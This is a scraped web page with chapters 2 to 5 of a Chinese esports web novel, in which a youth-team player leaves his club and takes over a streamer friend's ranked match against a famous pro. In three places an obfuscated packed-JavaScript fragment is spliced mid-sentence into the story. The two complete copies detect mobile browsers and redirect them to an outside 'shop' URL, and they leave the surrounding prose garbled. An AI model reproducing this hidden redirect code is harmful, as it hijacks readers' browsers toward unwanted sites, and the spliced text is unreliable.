《Nobody[电竞]》 2. 002 彻底离开基地所在的街区,奚月礼想去找个酒店凑合一晚,一摸裤兜,没现金,卡没带,最重要的是手机没电。 站在马路边嚼完了最后一根糖,也招不到一辆出租,B市的九月傍晚,正是通勤时间,在回头向祁元求助和走回学校宿舍之间,奚月礼认真考虑了几秒前者。 最后他选择徒步三公里,来到了发小余历所在的小区。 余历之前在PG试训失败,职业梦破碎,转头就当了游戏主播,房子就租在PG基地旁。 现在问题只剩下一个,高楼排排站的一个小区,奚月礼压根就不记得他住在几栋几层几室。 时值最热闹的傍晚,他也不着急。 小区广场舞热火朝天,遛狗的遛猫的遛孩子的,到处都是人,他转了半天,唠了五个大妈、三个大爷、和一条叫声相当热心的边牧,最后唠到了一个送外卖的小哥,总算摸到了死宅余历在小区唯一稳定的人际关系。 小哥三言两语就和奚月礼认了亲:“对,就这哥们儿的单,三个蛋挞一碗粉,点个KFC都要备注多放香菜,你看服务员理他吗?” “一天两顿,准时准点,我送过好几次了,就那栋,十二层。” 奚月礼看了眼他指的方向,好远一栋楼。又闲扯了几句,拜托小哥就地打个电话。 电话被接通,那头余历像是一个没有感情的AI:“谢谢,放门口——” “是我。”奚月礼冲盯着他的外卖小哥眨眨眼,“北门,广场舞专区,你的蛋挞米粉和香菜都在我手上——” 三句话让半月不出门的死宅下楼跑了一公里。 余历气喘吁吁赶到的时候,瞧见一通电话绑架了他外卖的人正坐在一个树荫底下。 他一身宽松黑T,脚边搁着一个瘪瘪的单肩包,侧脸埋在树影里,只露出一个啃蛋挞的腮帮子,正在聚精会神看大爷们下象棋。 别人都坐着椅子,就他坐着一个矮石墩,整个人往犄角旮旯里一塞,长腿也盘缩起来,后脑勺粘着落叶,小腿上几道不知哪儿蹭到的灰,在白得过分的皮肤上特别明显。 但凡他吃相差点,再邋遢点,就可以和小区里到处乱窜的流浪猫竞争上岗了。 走近的时候听到遛狗的阿姨和他搭话。 “联系上你朋友了啊?” “对,等他呢。” “天都快黑了,不行你上我家充会儿手机电?也快到饭点了。你这外卖不够吃吧,阿姨家煲了鸡汤呢。” 被邀请的人撸了撸阿姨家边牧的狗头,“它口水都快下来了。”又亲昵地凑近狗脸,“这么好喝啊?鸡汤,你就是全小区最幸福的一只狗狗吧。” 阿姨笑得见牙不见眼,边牧一个劲往他脸上蹭去。 余历从来没觉得小区里的大爷大妈包括狗这么热心过,显然,就算是流浪猫,这祸害的卖相肯定也是人人都想来撸一把、走哪都不愁投喂的那种。 还有这全天下都得给他跑上跑下铲屎的样子——余历恨恨上前。 背后的领子被拎了,奚月礼抬起头,看见了居高临下的余历。 急匆匆赶来的宅男睡衣都来不及换,胸口印着一个巨大的米老鼠,头顶一个米老鼠图案的鸭舌帽,脸上则挂着一个社恐必备的口罩,也是米老鼠的。 浑身上下一副被迫出门的低气压。 罪魁祸首却没半点自觉,站起来先抬动他的帽檐,再扒拉他的口罩,终于看清了口罩下许久没见的臭脸。 “哪里来的米老鼠,不开心吗?” 没等帽檐下的白眼翻起,他已经凑近,摆出颊边一深一浅的两道酒窝,献上对方再熟悉不过的笑,“上门.服务,包解闷的,两百一晚,包月三千,有需要吗帅哥?” “……报警了,偷外卖犯法,站街也是。” 四目相对,余历努力绷了绷脸,还是没绷住——这祖宗太知道自己怎么笑才能让人没法招架了。 破功只用一秒,他跟着笑了,“服了你了,就这么几步路,非得让人来接是吧。” 奚月礼冲阿姨和狗狗挥手,一边走一边先给余历递去剩下的外卖,再给他递去自己的单肩袋。余历接过,手臂狠狠一沉,顿觉自己笑早了,也明白他为什么要把自己找来了。 “你包里放的是什么?哑铃吧?” 奚月礼一条手臂搭上旁边的肩,非得给他再加点自己的重量,“是生活的重担啊。” “别扯。” 余历打开拉链,看了眼他的包,还真有个哑铃,是他送的生日礼物,这种东西基本上非搬家不会带。除此以外,键盘,鼠标,耳机,游戏机,这架势…… “东西这么齐全?你在搞什么离家出走吗?” “是啊。跟队友吵架,被赶出来了。” “啊?” 余历是不信他这话的,吵架?从小到大就没见他跟谁急过眼。再说了,电子竞技实力说话,队友跟他有什么好吵的?战绩一看,别人都得听他的不是一目了然吗? 可余历知道再怎么不着调,对方也不会拿这种事开玩笑。 “下半年PG不是会让你首发吗?出什么事了?” 奚月礼张了张嘴,发现嗓子有点痛。一下午除了半杯奶茶,连口水都没喝。 什么事呢? PG要给战队打一针强心剂,刚花大价钱买了个韩援,同样是打中的,新鲜出炉的世界冠军,合同上价格比他多了三个零。 下半年的首发大概是告吹了。 但作为青训营一直备受关注的好苗子,虽然籍籍无名,俱乐部也没把他就地放生的意思。 PG是一家行业涉猎很广的传媒公司,电子竞技只是这家公司最有名的一个分部。会议室里,不知哪个分部的经理开头第一句是“别担心,是好事”,第二件事是给他递了个新合同,没等任何人发话,简明扼要介绍了一个直播平台合作企划。 经理告诉他:“你是PG唯一入选这个企划的,名单里的其他主播备选都是COTS退役名将,以你难得的外形,以及你游戏ID在玩家里的基础名气,签了这个,下个千万级网红就是你。” “是个好机会,有些选手打上十年职业,也不一定有你做这个一年成功。” 教练就在一边,没什么多余的解释,不管是因为年纪还是所在位置,这些人都很少对一群涉世未深的青训生做什么解释。 但俱乐部的意思很清楚——中单首发已经有人了,电竞天才这里不缺,比起你未来的竞技价值,我们更看重你现在一目了然的、变现更快的商业价值。 把他的转职安排得明明白白。 走出训练室,门外赵冲以为他又遇上了什么好事,照例阴阳了几句,责问他离席不向队长汇报。 二队的人都不明白队长一个玩上单的,闲着没事干嘛天天盯着他一个打中的找茬,平时一把训练赛,中单支援五次发育路但只支援了四次上单都要被赵冲揪住计较一通。面对这些无厘头的计较,他倒也一直没当回事,矛盾从没出现在明面。 但脾气再好的人也有心烦时,他没像往常那样搪塞哄人,眼风都没给一个就走了。 分路没有高低,职业没有贵贱,关键只在于被安排的人想不想做。 青训合同本来就只签了半年,下礼拜就到期。PG作为老牌电竞豪门,向来被年轻天才们趋之若鹜,非特殊情况,没什么自降姿态的绑人条款。 那杯咖啡就是他第三次说“不续约”时飞起来的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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余历想刨根问底顺带安慰的话都咽了回去,转而问,“晚饭吃什么?这点不够吧,我来点外卖。” “外卖吗。”奚月礼想了想,“在这住半年了,你是不是还没给厨房开过火?” 怎么个开火法?不出意外,余历做饭他点单。 来到楼底下,他果然对着一层层下来的电梯开始点单:“白灼大虾,清炖鲫鱼,番茄炒蛋……” 奚月礼上学早,余历小学开始跟他同班,大了他足足两岁,从认识到熟识,全靠对方被抢了冰棍也不生气,反而哥哥长哥哥短跟在后面嘘寒问暖,这交情才建立起来。 后来才知道这是个裹糖衣的倒霉炮弹。他从小生得好,更要命的是还知道自己生得有多好,管谁都是一顿嘴甜加酒窝套餐,“余历哥哥”才不是什么魅力无限被小学生另眼相待的特殊人物。 如果他的人生是一款Galgame,那么周围NPC的好感度简直信手拈来,包括但不限于学校里老是逮他迟到早退的保安大哥,小区里管谁都要教训两句的物业大妈,以及对着亲儿子棍棒齐上、却对着他宝贝来心肝去的余历全家。 奚大少爷自己的父母早早离异,各自组建了新家庭,常年不管不教,只有个保姆阿姨和司机师傅照顾他的生活起居,因为同校同小区,渐渐便养成了来余历家蹭吃蹭喝的习惯。 余历掐指一算,算出奚月礼一米八的个子里得有一米五都是他喂出来的,肩膀每次被他胳膊沉沉一挂,都觉得这些年自己称得上一句父爱如山。 现在,听着逆子菜单越报越长,就在这父爱再次濒临极限的时候。 “……排骨炖南瓜,枫糖布丁——都是你爱吃的,没记错吧?”奚月礼却重新凑了过来,一边酒窝对上他的臭脸,“前几天刚发现一家店,应该合你口味,我留了电话,我来点。” 呵,余历冷笑。他姐他妈他奶奶会对这一套晕晕乎乎,他还能没点免疫力吗? 当下就是一掌把他的脸拨开,掏出手机开始买菜,“吃什么外卖?能健康吗?在我家只能吃我做的满汉全席!” 3. 003 到头来那一连串菜单还是全部上桌了。 余历给沙发上的人切完半个西瓜,又帮他手机充上电,翻出一套干净睡衣把他送进浴室,开始反思这场面是不是重复太多次了。 反思没有很彻底,他还得直播呢。 作为一个拥有全球最大用户体量的竞技游戏,群星召唤COTS除了成熟的职业联盟和联赛制度,游戏也衍生出了影视、文创等诸多领域的大热项目,催生且养活了相关的各行各业。 游戏直播就是其中之一。 余历不是话多会整活的那种,比不上平台那几个头部大主播,但因为长得清瘦,话少不油,形象在一群技术主播里堪称清新,播了半年也算有了稳定的流量。 更何况COTS的热度在蓝莓直播平台向来是断层式第一,跟在大流后面随便捡点剩饭也能混得不错了。 晚上七点,比他的正常开播时间晚了一小时。 刚打开直播间,就收到了弹幕的一连串慰问,他跟观众老爷解释了几句,马不停蹄开了把游戏。 弹幕都在问他为什么不开摄像头和麦克风,余历转头,看了眼刚洗完澡出来的奚月礼。 “你要打游戏的话,房间还有台笔记本。”他说的游戏当然是COTS。 奚月礼擦着头发给手机开机,“不打,放假呢。” 手机亮起,全是消息,PG青训的每个人都在祁元那看了场热闹,群聊的私聊的,问候从下午到现在一直没断过。 祁元的消息更是平均三分钟一条。 一直没收到回复,聊天内容从“怎么还不回我”,到一个推文转发《如何处理因遭遇冷暴力而出现的攻击性愤怒》,再到一张战绩图“化愤怒为力量,训练赛我爆鲨了对面八个人头”。 一连串“人呢?人呢?人呢?”刷完屏,最后是一行感叹号加大字“奚月礼我恨你!!!” 一个人唱完了一场独角大戏。 奚月礼一边笑,一边把他的表情包全偷了。 解释了一句手机刚刚没电,又单独给他的训练赛战绩回了条群里复制来的彩虹屁。 祁元秒回了好几个大哭的表情包:[我问教练了,你真的不回来了吗?] 奚月礼:[下个礼拜] 祁元:[!!!] 奚月礼擦完头发:[我的合约就到期了] 祁元:[艹] 再度唱起他的大戏:[奚月礼我恨你!!!] 客厅里余历也在说这个事。 “下礼拜合同就到期了吧?PG不待了,要不要去TB试试?” 他说的TB(ThornBird)荆棘鸟电子竞技俱乐部是今夏CPL的季军战队,江湖人称“那个鸟队”,最新著名战绩是全球总决赛小组赛三连败。因俱乐部率先替选手们打出了一张“水土不服”的万能牌,明面上没有被嘲得太厉害。 “虽然有点远,在沪市,但当初你去PG试训的时候,TB经理跟我问过你好几次。” 如今的CPL一共二十支战队,职业圈说大不大,国服哪个区出了路人王,哪家青训里藏了好苗子,消息都暗搓搓流转着。 奚月礼自己手机里也有不少战队联系人,包括TB的。 同为CPL第一梯队的俱乐部,TB青训也经常跟PG打训练赛,该认识的都认识了,列表里的选手都是有空能一起打排位的网友。网友们八卦起来比谁都厉害,刚刚一堆群消息里确实有好几个TB选手的艾特,战队经理也私聊他了。 奚月礼还没回复那些消息,只是对余历道:“这样吗?晚点我去了解一下。” 然后他捧了半个西瓜在茶几边,给电视连上操作手柄,挑起余历账号里的单机游戏。 余历扫到屏幕,见他点开了一个解密游戏,立马伸出手:“停——你别玩我的进度啊,自己单开一个。” 有个玩游戏很厉害的发小是什么体验? 那就是毫无游戏体验。 你在那绞尽脑汁、疯狂.操作、沉浸式过关,一转头他已经把完美通关攻略给你打好了,两百大洋的游戏被玩得像两块钱的。 奚月礼说好吧。倒也没打算动这些游戏,他只是好奇看两眼余历的进度,划走了那些动作类冒险类和解密类的游戏,点开列表里最后一个图标。 一段甜蜜的台词响起,屏幕上亮起一堆美少女的CG,他带上耳机,向后倒进靠枕里,GalGame启动。 真正的夜生活开始了。 余历收回视线:“那我直播了啊。” 奚月礼闻言,给自己嘴巴竖了根食指,又在额前比了个OK,表示主播请放心,这边已经完全静音了。 余历这才打开摄像头和麦克风,专心致志排位去了。 COTS的排位段位从最低青铜开始,共分六个段,青铜,白银,黄金,钻石,王者,最高分段是传奇。 传奇算是COTS的一个槛,全世界98%的玩家都在王者以下畅想自己上分如喝水、有朝一日上个传奇,给亲朋好友摆桌席。 然而传奇还不是游戏段位的上限。 赛季之内,顶尖玩家们在传奇段位赢到了足够的排位积分,被系统认定为凤毛麟角那一批,则能收到COTS官方一封“抵达繁星,共铸天梯”的邀请函。 ——进入普通玩家包括很多主播都难以企及的天梯赛区。 这张邀请函是每个技术主播的敲门砖,也是职业玩家在联盟注册的条件之一。 天梯赛不分大区,不能组排,只能单排,胜场积分没有上限,所以天梯的积分排名几乎可以算是民间COTS高端玩家的实力指标。 每个赛季定榜时,COTS官网还会把世界各大赛区的天梯排名公示在主页,给天梯前百的玩家邮寄赛季定制的镶钻勋章,前一千则送去镀金勋章,玩家戏称“光宗耀祖章”。 余历直播间标题常年就是【全能打野,天梯保金冲钻】 不需要花里胡哨的噱头,光“天梯勋章”代表的绝对实力就足以吸引大批观众了。 然而今晚,“全能打野”出师不利,排名天梯五百的号上来就连跪三把,眨眼掉了一百多名。 三把游戏,队友都是正常人,己方阵容也没有问题,输得他一点脾气都没有——运气太差,把把撞车,撞到对面两三个职业,键盘敲冒火了也打不过。 如今正是休赛期,职业选手纷纷登陆群星峡谷,在联盟的段位指标下开始冲刺天梯。 各国赛区的天梯榜不再像前几个月那样被路人王和技术主播霸占,每天都在洗牌震动,游戏论坛里今天是“A神归位”,明天是“B神是不是老了”,“众神之战”说的就是这个时候。 输到第四把,弹幕看不下去了。 代入感极强的观众看主播掉着那些比人民币还贵的分,跟自己输钱一样难受,纷纷建议他收手,改天烧个香再来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13552404|142617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接给力队友。 于是余历灰溜溜换了个小号,进入传奇找点自信。 传奇分段岁月静好的音效响起,屋子里突然一下捶桌。 “靠!崽种徐锐之!怎么小号都能撞啊!” 那头奚月礼听见了他这平地一声雷,不由投去一眼,一只手把耳机调降噪。 但没出声问什么,基地里的队友打起排位来比这一惊一乍多了。 余历关了麦克风,椅子滑出摄像头范围,坐在那盯着屏幕深呼吸了一下。 又好像想到什么,突然转过头,目光灼灼看向沙发。 “小礼——” 奚月礼这才从Galgame里抬头。 “怎么了?”见他一脸大事不妙的样子,“小礼在。” 三秒内余历已经做了个决定——有个玩游戏很厉害的发小是什么体验?遇到打不通的游戏时他就坐在你面前应该怎么办? 他一个箭步就滑了过去:“我撞车了,撞了个大的,事关我主播生涯曾经丢失的尊严……” 奚月礼远远看了眼他的屏幕,正在选英雄禁英雄的BP界面,召唤师“鱼鱼历险记”位于五楼。屏幕右侧的弹幕刷得热闹,似乎很开心的样子,“乐子来了”的那种开心。 他放下手柄,舀了勺手边的西瓜,刚刚余历喊了什么来着? “徐锐之?有点耳熟。” “NDG的打野Ritz啊,他本名徐锐之。” “啊。”手里的勺子停了一下,“NDG。” NDG(Nobody Gaming)无名之卒电子竞技俱乐部,算得上电竞界如雷贯耳的一支战队了。 十个COTS玩家里有九个都会说NDG是他的童年回忆,剩下一个是战队粉丝,则会哭着喊“别忆了别忆了,我们NDG只是在CPL输了,不是死了。” 要说世界知名度,如今CPL的二十支战队加起来估计都不如一个NDG。因为至今为止,CPL在世界赛最好的成绩——S1和S2的全球总冠军,就是由曾经的无名之卒创造。 如此声名也不仅因为那时NDG在世界赛上的统治力,更因为那时的NDG壕气冲天,签了各洲各国的顶级选手:来自韩区的冠军中单,来自欧区的冠军辅助,来自美区的冠军上单,来自南亚洲的冠军射手,以及本土的冠军打野。 主打一个全球一家亲,人民币胜天定,你喜欢的明星选手我这都有。 直到S3开始,电竞走向体育化,联盟打上了这个外援制度的补丁——各国赛区内,非本国籍的战队引援,最多只能有两个。 梦之队就地解散。 青训的底没打好,NDG从此没落,成为了今天CPL的“争当分母队”。 奚月礼当然知道Ritz,现如今NDG的队长,也是这些年NDG难得亮眼的明星选手。 还知道他是玩打野的。 他向余历好奇:“Ritz又是什么故事?” 说着就想起前两天刚在群里点过的一个视频,NDG赛时队内语音的视频。 视频画面里打野在一拖五顽抗对手,同步语音里打野在一骂四痛击队友,标题是《极限1v9,论一局游戏里NDG队长的对线压力》,当时看完还乐了很久。 勺子上的一口瓜转向余历嘴边,奚月礼猜了下,“你被剪进他的阴阳怪气锦集了?” “是啊,不止一次,特烦一男的。” 4.004 发小面前,余历压根不会像在直播间里那样岁月静好,就着这一口瓜,三言两语说完了自己在新人主播期遇到Ritz的事。 天梯撞车同一队,恰巧是Ritz晋级天梯前十的一把关键游戏。 位置撞了,本来他想去补位射手,但Ritz不信任他拖拖拉拉的补位,又对自己的射手位也很自信,率先补了射手位。 于是余历玩了自己的常用打野[沼泽巨蟹·菲力]。 因为紧张,那一把游戏发挥简直灾难,其实当时中辅跟他菜得不相上下,但谁叫Ritz对打野位更有点评权呢? 伴随着水晶爆炸声,大明星说了句“巨蟹下把叫你代练上号成吗?你的队友罪不至此”,阴阳他打上天梯用的不是自己的手,“鱼鱼历险记”就成了那把游戏的最终战犯,直播间还被Ritz粉丝找到了。 放到半年后的现在,这点小浪花压根算不了什么,弹幕骂他菜,他直接对着键盘砰砰两下磕头称是。 但当时只有三两人气的直播间突然涌出一群Ritz粉丝,算得上他主播路上的第一场网暴了,至今耿耿于怀。 “……关键是后面我遇到他三次,都在对面,一次没赢过啊!” “撞上他心情不好,还要被虐泉!职业的素质在哪里?” “玩个天狼把人针对成1杠15还要在结算时举报我送人头,系统的警告信至今挂在我邮箱里,缺不缺德啊!” “我直播还不能说什么,每次野区碰面被单杀,都要扯个笑说R神牛逼。” “这不,他又来了!他又来了!” 事情的本质其实是菜就没有发言权。 奚月礼撑着脸嗯嗯听着,左一句这样吗,右一句可恶啊,耳朵自动把余历的吐槽转化为败犬在外被人踢了一脚,夹着尾巴回家汪汪汪。 职业选手代打违规,但PG至今没给他在联盟里注册,他还不是职业。 天梯之外的一把排位,输赢也就是个娱乐。 “观众都说Ritz在对面,帮我打一把,赢了要什么我都答应,一个月白灼大虾怎么样?” 擦完手,奚月礼本来已经要站起来了,这会儿听到他紧张兮兮的一段……嗯?还有这种好事? 顿时笑了:“什么都答应吗?” 经验使余历警觉:“……你要什么?” 奚月礼没说话,只是把下巴搁上沙发靠背,拿一双眼睛去瞅他的手办柜。 余历顺着他的视线看去。 COTS更新至今,一百多个英雄,官方的联名的,各种英雄手办数不胜数,余历的柜子里就有很多纪念款,甚至还有一些名家工作室的定制,有钱也买不到的那种。 宅男搜集这样一柜子手办,大概和房奴攒出帝都一套房差不多。 柜子里还大多都是奚月礼的常用英雄,没别的原因,中路高颜值英雄多。 在COTS的游戏背景里,英雄原型都出自宇宙星宿,一百多个英雄各有风格,工作室当然更喜欢挑美人做。 那能叫手办柜吗?那是猫的逗猫棒,狗的肉骨头,奚月礼的诱捕器。 本来余历还奇怪,手办柜摆在那半年了,怎么次次来他都不带多看的,现在算是明白为什么了——有些人的眼睛天生会说话,这一瞥过去,他眼里明明白白暴露着四个字:喜欢,想要。 ……想要就想要吧。 一个手办也不过分,里面几个官方手办市面上还有同款,能重买。 “柜子里你挑一个,除了中间那几个——” 奚月礼凑过去恶魔低语:“要那个莉莉丝哦。” 好家伙,让他在帝都二环挑套房,他直接选了个故宫啊!一口氧没吸上来,余历耳边已经传来了选英雄的倒计时。 终究“游戏通关”的诱惑战胜了理智。 “怕了你了……上号!帮我赢这把。” 耳机一摘,奚月礼站起来就向电脑走去,“不怕不怕,当然帮你啦。” 说来话长,其实也就短短两分钟的事,弹幕已经在流言四起。 【主播人呢?】 【主播以前都会编个理由再跑路的】 【散了吧,Ritz拿了天狼,我们主播的童年阴影呜呜呜】 奚月礼在电脑前坐了下来。 余历赶忙喊:“别!我摄像头开着,PG是不是有你的直播代理权。”临近合约到期,碰上点违约问题说不清。 “没有。” 青训合约短短一页,比余历的中路英雄界面还简陋。 屏幕上的英雄池一片灰,主玩打野的账号没有中路英雄的熟练度,倒计时最后一秒,奚月礼选上了池子里唯一亮着的英雄——[荧惑之锁·厄莎]。 按了串QWER适应了下陌生键盘的手感,他戴上余历的耳机,一边调低音量,一边调整余历的快捷设置,一连串操作就像自己是账号主人那样天经地义。 一时间弹幕都质疑起自己是不是遇到平台bug,跳错了直播间。 抬起眼,奚月礼看见了满屏问号,抽空朝摄像头打招呼:“嗨喽嗨喽,久等了,我是鱼鱼的小号礼礼。” 余历跟着解释:“邻居家的弟弟,正好在我这边,这把打野位不是撞了吗?他帮忙打把中,就当是周末的外援节目提前了。” 他说的是平台的娱乐节目,内容为各大游戏主播的换号代打,每次都能整出不错的节目效果。 但充斥了问号和感叹号的弹幕此刻无人关心。 【主播让让,你挡住了什么不得了的东西】 余历的发声就这样淹没在被空降嘉宾袭击了的弹幕大军里。 【让你找代练,没让你去颜值区找代播啊!】 【主播好心机,对着刚刚那个镜头我们怎么阴阳得下去?】 【颜值区平时都吃这么好的?那我天天看什么技术主播?】 弹幕是什么德行,余历能不知道吗? 他直播多上几趟厕所能歪楼到男科医院广告,换个发型能发散到男女朋友谈了十八个,有关“邻居弟弟”的歪题讨论预感怎么也得刷个八百十条,毕竟全小区都知道他弟弟长得好看。 然而八百十条弹幕眨眼一过,刷屏却不见消停,反而越滚越快,越滚越多,俨然一副卡顿之势。 有问这是什么新的美颜摄像头让上链接的,有问这是隔壁演艺圈哪家新人让报出道日期的,还有怒斥主播有这种品相的弟弟居然才带来给大家相看的。 余历这才知道直播间原来潜水了那么多人。 这么夸张的吗?他转头看了眼身旁见惯了的侧脸。 又拿出手机,点进自己的直播间,透过屏幕去看右下角的人影。 也就是在余历眼里,自家发小还是个一团无辜的小学生。事实上尽管屏幕里这人的脸型还是从小到大见惯的样子,正看,侧看,怎么看都不是能长出成熟棱角的料,但眉眼鼻梁处该深的地方深,该挺的地方挺,起伏有致的骨相早已撑出了那孩子气的轮廓,就快跟“无辜”没半点关系了。 客厅的灯只亮了一盏,电脑的光在昏暗背景里映来,映出屏幕前下颌与锁骨的线条,和线条处太过露骨的阴影。他不笑时还好,被弹幕逗得一笑,别说正对镜头的眼睛和酒窝,连颈边的一根耳机线都显暧昧。 用弹幕的话来说: 【?谁家百万年薪建模师捏的脸?太会长了。】 【夭寿啦,主播你那个18X黄游男主手办成精啦!】 【这……这就是传说中的清纯钓系吗?】 【要不是主播熟悉的肾虚脸就在旁边,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13552517|142617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以为现在的美颜滤镜真到这种程度了】 【哥们是打游戏的吗?为什么看上去肾很好的样子】 【@COTS原画师,过来抄作业,天鹤的至臻皮肤我要他长这样!】 余历皱着眉批阅弹幕,把那些从“主播,帮我摸摸你弟的手”嚷嚷到“主播,帮我问问你弟男同可不可以”的弹幕都禁了。 【你禁言的样子真的很玩不起】 【对对对把他们都禁了我骚话说不过他们QAQ】 【主播怎么回事,一副老父亲在家门口赶黄毛的样子】——这条也禁了。 “大敌在前,大战在即,这群人的关注点却一个个歪得彻底。”余历很忙碌地对奚月礼说正事,“Ritz拿了天狼,这把你其实很适合拿天鹤。” 英雄没有绝对的强弱,却有相对的克制关系,他只可惜自己的账号没有熟练度。 奚月礼正扫到那条“老父亲”直乐,闻言按动空格,让手中英雄过了遍待机动作。 “厄莎也很可爱。” 然后他随机回复起“老父亲”批阅完的弹幕,代播得十分专业。 “是高手吗?是哦。” “有多高?玩厄莎要比玩巨蟹的鱼鱼厉害一点。说的是身高?也比鱼鱼高点。” “对面Ritz?当然认识,我认识他,他不认识我。” “召唤师技能?带了闪现和传送。” “为什么带传送?因为……打不过的话,我们可以试试偷家?” “用来逃跑?哈哈,好,我看情况跑。” “喜欢厄莎哪个皮肤?OK,来个红色。” 弹幕开始得寸进尺: 【这是什么有求必应的萌新主播?扣子解两颗。】 【衣服脱一脱。】 “喂喂喂,别太离谱啊!”余历一只手已经禁不过来,“我这个弟弟刚成年呢!” 奚月礼在三百六十度旋转厄莎皮肤的间隙提醒他:“哥哥,我成年很久了。” 下个月就满十九了。 弹幕一溜烟附和: 【哥哥说他成年很久了】 【哥哥说他已经可以谈恋爱了】 【哥哥说他已经可以给我们脱点什么了】 “房管呢?干活啊!这里是COTS技术主播区!不是无人区!”余历恨不得拿手去遮弹幕,“不要调戏纯情少男啊!” 奚月礼听到又笑了,被耳边“纯情少男”四个字逗笑的,弹幕问【哥哥在笑什么】,其实他只是想到了余历小学时的游戏签名。 “莼情少♂,心中侑(愛)☆。☆” 弹幕却又开始刷【哥哥别笑了笑得我人心黄黄的】。 眼看着房管也忙不过来了,余历直接挤到电脑前,奚月礼配合后撤,于是“老父亲”挡在他面前就把弹幕框点了个叉。 右侧的滚屏终于消失,这些虎狼之词再也没法从电脑上看见。 余历自己却还拿着手机继续禁言,跟弹幕唇枪舌剑,开播以来从未使过的嘲讽技能这回算是用上了。 “今天口出狂言的有一个算一个,你们的号都没了。” “对面直播间在问这把杀几个,你们在问这把扣子解几颗,像话吗?这像话吗?” “哈?舍不得弟弟被Ritz虐让我去挨打?晚了,代练已经上号了。” “厄莎要带免疫不能带传送?你以为你在教谁做事?” “我弟的段位?这是什么问题?” “什么?我没说过吗?” 话到这里,余历冷笑一声,确保自己语气淡淡,表情拿捏。 “哦,我确实忘了说。” “他就是那个Lilymoon啊。” “对,那个霸榜了国服韩服欧服的三服天梯第一。” 5.005 游戏加载完毕,英雄厄莎登场。 一瞬间密密麻麻的问号和卡顿却让余历再也没法从手机上观战,从容地装完这一波,他绷着脸放下发烫的手机,视线回到电脑。 电脑里的女英雄正从夜空高台走下,脚踩满地火焰,臂缠流淌的锁链,背后是一轮深红星辰。 代表游戏开场的画面一下子就拉回了余历的注意力,“这个皮肤还是上赛季买的,那会儿看你排位看上头了,自己也想练一练厄莎。” 厄莎是少数几个也可以走打野位的法伤英雄,余历没有自报训练成果如何,毕竟要是真练出点绝活,也不至于在PG试训的第一轮就倒下了。 如今职业赛场上的英雄两极分化严重,一百多个英雄里真正属于赛场T0级的也就那二十几个,无一不是入门难、操作难的高机动性或机制独特的英雄。 COTS英雄设计的第一原则必然是平衡,但技能不同,英雄的上限也各不相同,而那些把英雄上限开发到极致的实战操作,往往才是区分普通玩家和竞技选手的关键。 各大俱乐部试训第一件事通常都是看选手的英雄池。 [荧惑之锁·厄莎]属于在英雄池里能给选手加分的那种——四个技能全带位移和控制,每个技能需要的操作精度极高。 在一堆被动、控制、回复、增益等技能细节里,她的主要技能特点是可以用一条锁链让敌我英雄和小兵、野怪等换位,弱点则是输出全部来自锁链附加的灼烧,伤害低得离谱。 所以厄莎是一个典型的团队型中单,主打团队控制,越多的敌我单位,操作空间越大,控制时常越久。 这也是有些召唤师会带传送的原因,传送生效处需要有防御塔或两个以上的敌方单位,厄莎玩家幻想中自己的样子都是“传送一开,神兵天降人堆,一控五加满图小兵”。 然而想要打出有效的控制连招不仅要有顶尖的想象力,还得有双顶尖的手。 余历练了这么久,也只能练出大多数厄莎玩家的实战效果——传送一开,锁链拉空野怪加小兵,一人沉默四个队友。 不过当下他坐的是观战席,“原来有这么多人都不知道吗?国服第一厄莎一直是带传送的。” “也是,你很久没用厄莎打天梯了。”状似不经意地装完一波又一波,他没话找话道,“这皮肤蛮好看的。” 奚月礼轻快点头。 但其实他并没听清旁边在说什么,因为峡谷展开,耳机里已经响起厄莎的专属旋律。 旋律消失,他跟着哼了两句尾调,耳朵在享受画面里的声音对他说欢迎,和手中英雄落地峡谷时的台词。 * [荧惑之锁·厄莎]:“牢笼从未上锁,被缚之徒是那些熄灭的自我。听,脚步在靠近锁链的声音。” * 群星峡谷的地图自开服以来,十年未曾大变。 与其说那是地图,不如说那是游戏具象化的规则,作为一款MOBA游戏,COTS的游戏核心向来是稳定的规则之下、不同的人与人之间的竞争。 一条名为“禁区”的暗河分隔两方阵营。 上中下三条路通往水晶要塞,沿途三座白银要塞,均匀分布着九个防御塔与三个装备商店。 三路之外的野区又称扭曲丛林,各种资源如补血果实、红蓝buff、经验怪、金币怪就藏在地形起伏的丛林里。 开局夜幕降临,除了己方五位英雄和要塞处的灯光,地图视野一片漆黑。 一把游戏,就是围绕禁区、野区和三路地形展开的操作与策略博弈。 对阵双方的目标相同。 用系统官话:召唤群星,守卫水晶。 用玩家黑话:鲨人,抢钱,推塔,点水晶。 四十分钟上下的一局游戏,没人能在开局说准胜负,水晶要塞不爆炸,一切皆有可能,但稍微有点游戏理解的召唤师都会在BP阶段就开始推测赢面,毕竟五人游戏,免不了团队配合。 而英雄阵容是团队配合的基础。 厄莎已经来到中路线上,余历看着双方阵容开始分析。 “四个工具人加天狼一个野核,啧,对面这阵容就差把Ritz负责带飞他们负责鼓掌写脸上了。” “对线的中单是冥王,爆发高,前期强势,看到我们最后一秒拿厄莎,估计在喊稳了——这走位也太嚣张了,英雄是有克制,也要看谁在操作啊。” “他不知道自己比你少补了多少兵吗?” 